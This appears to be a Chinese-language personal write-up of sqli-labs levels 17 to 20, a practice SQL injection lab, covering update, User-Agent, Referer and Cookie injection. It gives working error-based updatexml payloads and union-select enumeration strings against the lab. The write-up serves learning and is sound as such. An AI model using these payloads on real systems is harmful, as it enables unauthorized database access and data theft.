less-17
这关是跟换密码,所以涉及到的是update注入,而我们都知道sql语句中update是不会返回数据的,只会返回更新数据成功与失败,所以往往update注入的话是要与报错注入一起进行的
这边使用了如下payload却得出了这种错误
admin' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#
查了一下说是类型错误
所以改成了
-1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#
正常爆表,顺利过关
另外使用sqlmap也可以顺利过关
在此处sqlmap可以顺利找到passwd这个注入点
less-18 头部注入
查看源码
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
HTTP_USER_AGENT是用来获取用户相关信息,包括了用户浏览器,操作系统工程,是
而我在想REMOTE_ADDR到底是访问者的IP地址还是这个靶场本地地址,因为我的靶场放在物理机上,并且访问的浏览器也是在我本地,所以并不能辨别。
这个时候我选择开启虚拟机来访问我的物理机来确定这个IP地址到底是哪边的。
真相了,是靶场所在的IP
言归正传;再看源码
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
在这个关卡中已经对uname和passwd进行过筛,并且使用sqlmap(level 1)也并没有检测出注入点
因此我们可以把目光转到下面源码
$insert="INSERT INTO security
.uagents
(uagent
, ip_address
, username
) VALUES ('$uagent', '$IP', $uname)";
在源码中并没有对$uagent和$IP 这两个变量进行过筛,所以这就是我们可以利用的点
但是,这两个变量又体现在通信中的哪个位置呢?此时就需要用burpsuite抓包查看了。
查看数据包
但是刚刚页面显示的IP好像是靶场所在的地址,所以基本上可以确定是这个User-Agent了,那么就来试试
随便输入看下有没有报错
真的报错了,这下稳了。
依照源码中的sql语句构造payload
得到库名,接下去的就很常规了。
另外需要注意的是上一关update注入的时候是否已经吧密码改了,这关必须是要有正确的账号密码才可以进行注入,
如果账号密码不对这边返回的是空,根本无法进行下一步操作。
less-19
吸取上一把的教训,我们这把先登录。
发现这么一个东西,它代表什么呢?
抓个包试试:
发现与数据包的Referer不能说的一模一样,那可以说是半径八两
referer 是一个常见字段,提供访问来源的信息。HTTP 协议在请求(request)的头信息里面,设计了一个Referer
字段,给出"引荐网页"的 URL。就是要告诉服务器,你从哪里来。
如果我们从一个空白页面直接输入网址进入就不会有这个Referer了
接下来查看源码
$uagent = $_SERVER['HTTP_REFERER'];
$_SERVER中的HTTP_REFERER参数就是用来判断用户的来路,
并且接收的数据是要与数据库做交互的,而且这个变量可控,如此一来注入点不就慢慢明朗了吗。再来看看有没有报错点
有报错点,那么现在就来构造payload
1' or (updatexml(1,concat(0x7e,(select database()),0x7e),1)) or '1'='1
得到数据库名,接下来的操作就很常规了。
less-20 Cookie注入
吸取上上把的教训,这把依然先登录
登录后得到这个页面
直接查看源码:
发现IP跟agent已经没有跟数据库做交互了,
但是有一个东西与数据库做了交互,那就是-----cookie
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
验证注入点:
Cookie: uname=admin' and 1=1--+ 页面显示正常
Cookie: uname=admin' and 1=2--+ 页面显示异常
接下来就是很常规的一些手法了,注意这边admin记得改,让它无数据回显,不然联合查询的时候数据显示不出来。
Cookie: uname=-1' and 1=1 order by 3--+ 判断字段数
Cookie: uname=-1' and 1=1 union select 1,2,group_concat(table_schema) from information_schema.tables--+爆库
后面的常规操作就不说了。
OK今天就先到这。